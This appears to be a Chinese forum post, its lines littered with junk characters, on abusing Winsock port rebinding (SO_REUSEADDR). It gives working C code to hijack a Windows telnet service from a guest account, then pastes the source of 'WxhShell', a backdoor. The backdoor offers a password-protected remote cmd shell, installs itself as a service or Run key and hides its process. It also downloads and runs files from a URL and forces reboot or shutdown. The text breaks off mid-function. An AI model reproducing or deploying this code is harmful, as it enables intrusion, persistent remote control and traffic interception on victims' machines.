在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z;x$tO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U8PSJ0ny EQET:a:g saddr.sin_family = AF_INET;
JFIUD{>fp YcBY[i0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%c*azo. ~8o's` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jqhd<w Nl"< $/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F\yxXOI @YHB>rNf(7 这意味着什么?意味着可以进行如下的攻击:
!Y8us" d;daYjOm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MD%_Z/NL t-)C0< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l}A8
.;8T* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9#IKb:9k GNlP]9wX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
w(zlHj S~.:B2=5K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}Zu>?U xv4_q-r[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
iP6$;Y{ZA A]id*RtY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mzLDZ#=b -^`]tF`M #include
] cdKd ) #include
uW3`gwwlU #include
3Sv<Viuo #include
yCy4t6`e DWORD WINAPI ClientThread(LPVOID lpParam);
,A
T!:&<X int main()
-{dsl|Dl {
`9}\kn-</8 WORD wVersionRequested;
{7LO|E}7 DWORD ret;
jO)UK.H# WSADATA wsaData;
&`[y] E' BOOL val;
*4"s,1?@BG SOCKADDR_IN saddr;
M^JRHpTn SOCKADDR_IN scaddr;
BFmd`#{l int err;
? >SC:{( SOCKET s;
rV>/:FG SOCKET sc;
fgVeB;k| int caddsize;
D<B/oSy HANDLE mt;
NHG+l)y: DWORD tid;
03Pa; n wVersionRequested = MAKEWORD( 2, 2 );
g.ty#Z=: err = WSAStartup( wVersionRequested, &wsaData );
sDL@e33Yb if ( err != 0 ) {
9tvLj5~ printf("error!WSAStartup failed!\n");
<2Lcy&w_M return -1;
Bvj-LT=) }
cLj@+?/ saddr.sin_family = AF_INET;
O:cta/M k7yQEU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1bs8fUPB3 B:Ec(USe saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,iY/\
U'' saddr.sin_port = htons(23);
~0aWjMc(> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]:m>pI*z. {
d~1Nct$: printf("error!socket failed!\n");
|-GmW SK_ return -1;
mZDL=p }
6Y<'Lyg/ val = TRUE;
_R-[*ucq //SO_REUSEADDR选项就是可以实现端口重绑定的
L5=Tj4` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(;T$[ru` {
!{tkv4 printf("error!setsockopt failed!\n");
PYX]ld.E return -1;
WX$mAQDV }
28J
;9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4)./d2/E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bI/d(Q%#< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H7bdL 8/ iTJSW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H-$ )@ {
y1z<{'2x ret=GetLastError();
Cg[]y1Ne printf("error!bind failed!\n");
~=qJSb return -1;
m2{3j[ }
U+gOojRy{ listen(s,2);
p_T>"v while(1)
d:jD {
yG -1g0 caddsize = sizeof(scaddr);
*<?or"P //接受连接请求
$K1 /^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R?@F%J;tx if(sc!=INVALID_SOCKET)
*ILx-D5qr {
h$7rEs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZS[(r-)$F if(mt==NULL)
k9H7(nS{ {
JbN@AX:% printf("Thread Creat Failed!\n");
~"F83+RDe break;
!pY=\vK; }
cz<8Kb/XV }
NfqJ>[}I+ CloseHandle(mt);
MN1
kR }
-{H;w=9 closesocket(s);
gn"Y?IZ? WSACleanup();
2(~Y ^_ return 0;
9i4!^DM_ }
DtkY;Yl DWORD WINAPI ClientThread(LPVOID lpParam)
?0k(wiF {
]4f;%pE SOCKET ss = (SOCKET)lpParam;
<j" }EEb^ SOCKET sc;
m:|jv|f unsigned char buf[4096];
ue8C pn^M SOCKADDR_IN saddr;
z*?-*6W long num;
z<2!| DWORD val;
t}r`~AEa! DWORD ret;
.XD7};g //如果是隐藏端口应用的话,可以在此处加一些判断
d3Dw[4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
gx+bKGB` saddr.sin_family = AF_INET;
M =Pn8<h~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\z"0lAv" saddr.sin_port = htons(23);
Omy4Rkj8bh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b=[gK|fu {
h&Thq52R printf("error!socket failed!\n");
|tL57Wu93 return -1;
9+<%74|, }
#Hm*<s. val = 100;
xszGao' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g=w,*68vuy {
($a ?zJr ret = GetLastError();
zs#s"e:jeR return -1;
gD&/k
}
E#3KWp#M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]iu}5]?) {
l!VPk"s ret = GetLastError();
zO#{qF+~; return -1;
v^;-w~?3 }
Q(@/,%EF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_-/aMfyQ {
yU*upQ printf("error!socket connect failed!\n");
IHqY/ j closesocket(sc);
+-_71rJc. closesocket(ss);
J[E_n;d1 return -1;
{z)&=v@ }
{ctEjgiE while(1)
N[e QT {
u6&<Bv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r(sQI#
P //如果是嗅探内容的话,可以再此处进行内容分析和记录
;A^0="x& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
e.pm`%5bO num = recv(ss,buf,4096,0);
1 o<l;: if(num>0)
"E`;8SZa send(sc,buf,num,0);
+B^(,qKMN else if(num==0)
]L0GIVIE break;
@oC# k< num = recv(sc,buf,4096,0);
Tj
&PB_v1 if(num>0)
biwV7< send(ss,buf,num,0);
~F5JN^5Y else if(num==0)
[Xp{ztGE break;
5f+ziiZ }
l5sBDiir% closesocket(ss);
z{h#l!Edh closesocket(sc);
`J*~B return 0 ;
:eaqUW!Y }
\QF\Bh R#j-Z#/" rMDo5Z2 ==========================================================
2+KOUd&jS 9o-fI@9 下边附上一个代码,,WXhSHELL
!'uLV#YEZ >r Nff!Ow ==========================================================
^X2U
A{ ?f1PQ #include "stdafx.h"
!eb}jL JTT"t@__ #include <stdio.h>
C;m 7~R #include <string.h>
X4<!E# #include <windows.h>
U?/UW;k[ #include <winsock2.h>
(hywT)#+ #include <winsvc.h>
&P8 Run #include <urlmon.h>
vIBVp rEI]{?eoF #pragma comment (lib, "Ws2_32.lib")
g=eYl_P6 #pragma comment (lib, "urlmon.lib")
yX:A?U .Z=4,m> #define MAX_USER 100 // 最大客户端连接数
cY/!z #define BUF_SOCK 200 // sock buffer
$lkd9r1 #define KEY_BUFF 255 // 输入 buffer
3/sKRU x+~IXi>Ig #define REBOOT 0 // 重启
u15-|i{y7 #define SHUTDOWN 1 // 关机
oicett=5 P3[+c4 #define DEF_PORT 5000 // 监听端口
}@IRReQ At5:X*vD #define REG_LEN 16 // 注册表键长度
z4l
O #define SVC_LEN 80 // NT服务名长度
Dd+ f,$ .H1kl)~V // 从dll定义API
nnBgTtsC] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Lo,z7"8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
urGk_.f typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Zf~[4Eeb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
z`gdE0@;d3 jYwv+EXg // wxhshell配置信息
!\{&^,y struct WSCFG {
xl5n(~g)p int ws_port; // 监听端口
aQax85 char ws_passstr[REG_LEN]; // 口令
7 mulNq int ws_autoins; // 安装标记, 1=yes 0=no
x<)%Gs}tb char ws_regname[REG_LEN]; // 注册表键名
zGz^T char ws_svcname[REG_LEN]; // 服务名
J"w!Q\_ char ws_svcdisp[SVC_LEN]; // 服务显示名
]h (TZu char ws_svcdesc[SVC_LEN]; // 服务描述信息
jRz2l`~7# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=~r?(u6d int ws_downexe; // 下载执行标记, 1=yes 0=no
p'afCX@J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w, 0tY=h6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b`Wn98s Peha{]U };
&fBLPF% 6 .8is!TT // default Wxhshell configuration
O[RmQ8ll struct WSCFG wscfg={DEF_PORT,
_] E ~ci} "xuhuanlingzhe",
# k+Ggw 1,
rl)(4ad= "Wxhshell",
9GnNL I{ "Wxhshell",
riI0k{ "WxhShell Service",
Z<a6U 3 "Wrsky Windows CmdShell Service",
NLDmZra "Please Input Your Password: ",
=J.)xDx* 1,
W>b(hVBE "
http://www.wrsky.com/wxhshell.exe",
qB3{65 "Wxhshell.exe"
fFXG;Q8& };
=YX/]g|9K
bw#zMU^E // 消息定义模块
4QWDuLu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9H*$3 char *msg_ws_prompt="\n\r? for help\n\r#>";
&fYx0JT
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b5YjhRimS char *msg_ws_ext="\n\rExit.";
S~vbISl char *msg_ws_end="\n\rQuit.";
UTQ$sg|7p char *msg_ws_boot="\n\rReboot...";
~p~8T char *msg_ws_poff="\n\rShutdown...";
}~lF Rf char *msg_ws_down="\n\rSave to ";
OVO0Emv owe362q char *msg_ws_err="\n\rErr!";
k/nOz* char *msg_ws_ok="\n\rOK!";
z602(mxGg JH2?^h|{ char ExeFile[MAX_PATH];
cL*D_)?8 int nUser = 0;
E0=-6j HANDLE handles[MAX_USER];
'MKkC(]4 int OsIsNt;
Ty%4#9``0 (]0$^!YK SERVICE_STATUS serviceStatus;
ToJV.AdfT SERVICE_STATUS_HANDLE hServiceStatusHandle;
]?,47,[< L@?Dmn'v // 函数声明
lj.z> int Install(void);
BQf}S
+ int Uninstall(void);
h$ M+Yo+ int DownloadFile(char *sURL, SOCKET wsh);
k]x64hgm int Boot(int flag);
JGIN<J85e void HideProc(void);
~\hA-l36 int GetOsVer(void);
I/9ZUxQCyG int Wxhshell(SOCKET wsl);
zQxZR}' void TalkWithClient(void *cs);
AO;`k]0e int CmdShell(SOCKET sock);
+-,Q>` int StartFromService(void);
9>psQ0IRvr int StartWxhshell(LPSTR lpCmdLine);
MoA2Cp;8X >q
<,FY!A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
NTiJEzW} VOID WINAPI NTServiceHandler( DWORD fdwControl );
+3vK=d_Va :c,\8n // 数据结构和表定义
Z~g~,q SERVICE_TABLE_ENTRY DispatchTable[] =
=HP_IG_ {
BZ1@?3 {wscfg.ws_svcname, NTServiceMain},
G Q&9by=} {NULL, NULL}
3a#637% };
+8[h& @{.rDz // 自我安装
E?&dZR int Install(void)
'q1)W' {
D`e!CprF char svExeFile[MAX_PATH];
>8SX , HKEY key;
N##T1 Qm) strcpy(svExeFile,ExeFile);
}"fP,:n"KN
$c0SWz // 如果是win9x系统,修改注册表设为自启动
mT@UQCG if(!OsIsNt) {
@Th.= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yyk[oH-Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(|ga#%iI RegCloseKey(key);
PiI ):B> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}K;@$B6,@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F=B>0Q5 RegCloseKey(key);
L3nHvKA] return 0;
Opmb }
xpFu$2T6P. }
e }/c`7M }
UuT>qWxQ8 else {
DcoTa-~ 3Q[]lFJ}F // 如果是NT以上系统,安装为系统服务
qfppJ8L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s;}';# if (schSCManager!=0)
(Tn*;Xjq {
9{ i6g+ SC_HANDLE schService = CreateService
@Sub.z&T{ (
#x#.@ schSCManager,
*~ 4uF wscfg.ws_svcname,
F.?:Gd1 wscfg.ws_svcdisp,
` ]WU=Ss SERVICE_ALL_ACCESS,
wias]u| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Pc? d@tm SERVICE_AUTO_START,
|kV,B_qz SERVICE_ERROR_NORMAL,
(h/v"dV; svExeFile,
e@k
ti@ZJ NULL,
AyNl,Xyc4 NULL,
%Iv+Y$'3B NULL,
\EYhAx`2 NULL,
L7n->8Qk NULL
&z{oVU+mA );
lhQ*;dMj%" if (schService!=0)
aChY5R {
BAmH2" CloseServiceHandle(schService);
6$SsdT|8B CloseServiceHandle(schSCManager);
D8`,PXtV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'4HwS$mW3 strcat(svExeFile,wscfg.ws_svcname);
U@D=.6\B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
w
\0=L=J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9]|[z{v'>l RegCloseKey(key);
HtY\!_Ea return 0;
0plRsZ} }
k6[t$|lMy }
l:Ci'= CloseServiceHandle(schSCManager);
TKoO\\ }
N
Ja]UZx }
{ +
[rJ_ sdS<-!
%u4 return 1;
,PRM(n - }
Ow//#: X@x:
F|/P // 自我卸载
? ]kIztH int Uninstall(void)
4,H}'@Db} {
q7 Uu 8JXF HKEY key;
?Dd2k%o 'y-IE#!5 if(!OsIsNt) {
HW.S~eLw* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qK|r+}g|& RegDeleteValue(key,wscfg.ws_regname);
c)@M7UK[ RegCloseKey(key);
4CX * if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5I T'u3V RegDeleteValue(key,wscfg.ws_regname);
BHZGQm RegCloseKey(key);
}qV4]*+{ return 0;
o>U%3-+T^J }
w^R5/#F_r }
=*Wl;PI' }
L$@RSKYp else {
q#sMew\{ B+zq!+ HJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
* +A!12s@ if (schSCManager!=0)
&??(EA3
{
= \X<UA} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oH6(Lq'q if (schService!=0)
n6Q 3X
{
lt,x(2 if(DeleteService(schService)!=0) {
s)/i_Oe$\ CloseServiceHandle(schService);
&lI.N~Ao CloseServiceHandle(schSCManager);
n)`*{uv$ return 0;
{j:{wW. }
zb9d{e CloseServiceHandle(schService);
4D\_[(P }
A|RAMO@le CloseServiceHandle(schSCManager);
*%Gy-5hM }
fM
S- }
)E6m}? H5 wQ.ild return 1;
;HqK^[1\ }
\8Blq5n-O* 9=3V}]^M // 从指定url下载文件
"]MF =-v int DownloadFile(char *sURL, SOCKET wsh)
A
FfgGO {
?1PY]KNaK HRESULT hr;
NTAPx=!1* char seps[]= "/";
_Seiwk& char *token;
) 3YE$, char *file;
P.;B
V", char myURL[MAX_PATH];
[&FMVM` char myFILE[MAX_PATH];
mhlJzGr*q k(VA5upCs strcpy(myURL,sURL);
aN;L5;m#>{ token=strtok(myURL,seps);
ZV;#ZXch while(token!=NULL)
D"A`b{z {
#XJYkaL file=token;
!xe<@$ token=strtok(NULL,seps);
C=PBF\RkKu }
;2dhue {Qw,L;R GetCurrentDirectory(MAX_PATH,myFILE);
IUu[`\b= strcat(myFILE, "\\");
_V8pDcY strcat(myFILE, file);
Atfon&^
send(wsh,myFILE,strlen(myFILE),0);
f0wQn09 send(wsh,"...",3,0);
v`Sllv5bV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
x]a>Q), if(hr==S_OK)
\n<N>j@3 return 0;
gvy%`SSW else
I9>1WT<Yy return 1;
5[/*UtB Y=}b/[s6; }
ZB ~D_S <7TpC@"/g // 系统电源模块
pOH_ CXw int Boot(int flag)
kk!}mbA_} {
<'GI<Hc HANDLE hToken;
u:m]-' TOKEN_PRIVILEGES tkp;
Q3oVl^q ?'h@!F%R' if(OsIsNt) {
=gfLl1wY[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:1.$7Wt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/3+7a\|mKr tkp.PrivilegeCount = 1;
$orhY D3gv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TAzhD.6C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}GGFJ" if(flag==REBOOT) {
G3?8GTH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rvr Ok return 0;
dnNc,l&g }
E}1[& else {
u.!Pda if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
- }
Z return 0;
t5eux&C }
IOIGLtB
}
s*]1d*B! else {
H%])>
if(flag==REBOOT) {
O'idS`
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YtIJJH return 0;
%
;6e@U} }
urog.Q else {
}"xC1<] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*;o=hM)Tp return 0;
p=7kFv }
*AxKV5[H }
\:"s*- Sf*VkH return 1;
,VHvQU }
y4shW|>5_ %A W // win9x进程隐藏模块
#j; &g1 void HideProc(void)
|0-5-. {
&:{|nDT_2 M%B]f2C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t3bDi/m if ( hKernel != NULL )
a(BC(^1! {
7i/?+| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KWN&nP
+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(6JD<pBm FreeLibrary(hKernel);
(dO4ww@O }
Ye1P5+W( [_H9l) return;
$9ON3> }
B>~E6j7[Mp
bJ/~UEZw // 获取操作系统版本
jkPXkysm int GetOsVer(void)
e1+
%c9UQ {
Q7#Q6-Q OSVERSIONINFO winfo;
Vr5a:u' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Lw!@[;2 GetVersionEx(&winfo);
1>|p1YZ" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8vaqj/ return 1;
!})+WSs'"s else
\ &_
- return 0;
>#>YoA@S }
wmT3 > :l*wf/&z // 客户端句柄模块
9 -TFyZYU int Wxhshell(SOCKET wsl)
J.O;c5wL {
7dU X(D,? SOCKET wsh;
5Z;Py"% struct sockaddr_in client;
R$w=+%F DWORD myID;
"pHQ rtUdL,Hx while(nUser<MAX_USER)
t$UFR7XE {
QR^pu.k@ int nSize=sizeof(client);
y8,es$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
kuUH2:L if(wsh==INVALID_SOCKET) return 1;
VY![VnHsB [!aHP?- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e=_*\`/CN if(handles[nUser]==0)
wBmbn=>#S closesocket(wsh);
ExnszFX* else
Wje7fv nUser++;
(1TYJ. Z }
^&Qaf:M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{O!fV<Vx 9 Cf%)W:Q9 return 0;
L(X:=)
!K0 }
=zbrXtp, X|.X4fs // 关闭 socket
U(i2j)|^I3 void CloseIt(SOCKET wsh)
/=-E`%R}! {
4I2ppz closesocket(wsh);
\W$>EH nUser--;
qP]Gl--q{ ExitThread(0);
ozGK
-$ }
VT0I1KQx. ?DpMR/ // 客户端请求句柄
OO\UF6MCU void TalkWithClient(void *cs)
6%fU}si, {
4#=^YuKaF1 c{&sf
y SOCKET wsh=(SOCKET)cs;
9$Hgh7'hvs char pwd[SVC_LEN];
ql_aDoj char cmd[KEY_BUFF];
^TB%| yZ _ char chr[1];
EcP"GO5 int i,j;
eQYW>z'%, `%rqQnVB while (nUser < MAX_USER) {
a:P%
r C0kwI*) if(wscfg.ws_passstr) {
cIq3En if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=P2T&Gb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ak4iG2 //ZeroMemory(pwd,KEY_BUFF);
m4kmJaM i=0;
_u.l|yR while(i<SVC_LEN) {
cL`l1:j\} \)LY_D: // 设置超时
N-vr_4{g fd_set FdRead;
#>!!#e!* struct timeval TimeOut;
EV~_-YC
FD_ZERO(&FdRead);
WlG/7$ FD_SET(wsh,&FdRead);
Le_?x TimeOut.tv_sec=8;
n1!u
aUC TimeOut.tv_usec=0;
Yz{UP)TC
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mEE/Olh W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
y+X%qTB AMtFOXx%I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
33
N5> } pwd
=chr[0]; {L.0jAwB
if(chr[0]==0xd || chr[0]==0xa) { HW{+THNj
pwd=0; BeP0lZ
break; !f"@pR6
} h`jtmhoz
i++; ,wnF]K2D0
} >5XE*9
gKBcD\F
// 如果是非法用户,关闭 socket K _y;<a]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 03{e[#6
} <tFq6|
*y.KD4@{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q
\0>SG
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hh;7 hY\
Is%-r.i
while(1) { u,/PJg-(!
Q%KS$nP9
ZeroMemory(cmd,KEY_BUFF); {AQ3y,sh
1uS
_]59=
// 自动支持客户端 telnet标准 :@kSDy+*Q
j=0; _.\p^ HM
while(j<KEY_BUFF) { NlWIb2,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \}G/F!
cmd[j]=chr[0]; D(L%fK` +
if(chr[0]==0xa || chr[0]==0xd) { %hOe `2#$
cmd[j]=0; 6kYn5:BhIi
break; (}c}=V
} `ZNzDr
j++; -CxaOZG
} )<jj O
Ue~M.LZb
// 下载文件 |?{Zx&yUw
if(strstr(cmd,"http://")) { ?2DYz"/')
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }0qgvw
if(DownloadFile(cmd,wsh)) N{oD1%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $FCLo8/=
else Jf4D">h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lZE x0
} >'E'Mp.
else { H@MUzV
+dIg&}Tr
switch(cmd[0]) { r@k&1*&
hb[K.`g
// 帮助 %0= |WnF-
case '?': {
;-U:t4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c1!h;(&
break; FRX'"gIR0
} x!gu&AA<*
// 安装 _f2(vWCW;J
case 'i': { Smg,1,=
if(Install()) r1$
O<3\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~eE2!/%9
else 6uR:/PTG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =][[TH
break; ;/
WtO2
} o{nBtxZ"
// 卸载 62a{Ggs{
case 'r': { iv:[]o
if(Uninstall()) B-'Xk{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (t fADaJM
else 2;U(r:]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9boNB"h]T
break; |a/"7B|?\
} +qDudGI
// 显示 wxhshell 所在路径 jSpmE
case 'p': { rS8/_'
char svExeFile[MAX_PATH]; H8rDG/>^
strcpy(svExeFile,"\n\r"); U")bvUIL
strcat(svExeFile,ExeFile); MhWmY[
send(wsh,svExeFile,strlen(svExeFile),0); aJK8G,Vk
break; jh2D9h
} ')+'m1N
// 重启 ]KLjQpd
case 'b': { lP\7=9rh^x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c9r, <TR9
if(Boot(REBOOT)) 3Sf<oYF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9xN4\y6F
else { FdzsWm
closesocket(wsh); G-9]z[\#
ExitThread(0); l<! ?`V6}
} A0
x*feK?
break; m" .8-
} .$L'Jt2X
// 关机 p.gi8%f`
case 'd': { i|y8n7c
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rp+&ax}Wh
if(Boot(SHUTDOWN)) 68W&qzw.[r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ##EMJi
else { [f&ja[m q
closesocket(wsh); ~UEft
ExitThread(0); *oKc4S+
} b~WiE?
break; bK<'J=#1
} Rs8^ 27
// 获取shell gW$X8ECX
case 's': { `o)rAD^e
CmdShell(wsh); %F]4)XeW-+
closesocket(wsh); oj;Rh!O
ExitThread(0); josc
break; MXq+aS{
} m\O<Yc keA
// 退出 6;"jq92in*
case 'x': { R>BnUIu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -5\hZ!!J2
CloseIt(wsh); ^fQ ]>/u
break; oZQ%P
} LlrUJ-uC7
// 离开 2dFC{US'
case 'q': { f{t5r
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z ~#
.Ey
closesocket(wsh); 9l+'V0?`
WSACleanup(); 4'RyD<K\
exit(1); GNgPf"}K
break; |B./5 ,nSS
} BRi\&&<4
} 0 P3^#j
} s["8QCd"r
4l <%Q2
// 提示信息 d
*!) wt
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @6~r7/WD
} +Vl\lL
-
} :&S6AP
Cd?aC
return; |$f.Qs~?
} 9o@5:.b<j
/xUTm=w7u
// shell模块句柄 XJ^dX]4
int CmdShell(SOCKET sock) D
C{l.a.
{ b MZ-{<+i
STARTUPINFO si; PJ5~,4H-4
ZeroMemory(&si,sizeof(si)); vR[XbsNM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U(4>e!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [AstD9
PROCESS_INFORMATION ProcessInfo; =aX;-
char cmdline[]="cmd"; z/dpnGX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (P%{Tab
return 0; |08b=aR6ro
} 1MkQ$v7m
p6VS<L
// 自身启动模式 Zi<Y?Vm/,O
int StartFromService(void) e*{'A
{ "j#;MOK
typedef struct G~b/!clN
{ i|?EgGFG
DWORD ExitStatus; ,UNCBnv1
DWORD PebBaseAddress; FZf{kWH
DWORD AffinityMask; /@h)IuW
DWORD BasePriority; E4idEQ}H
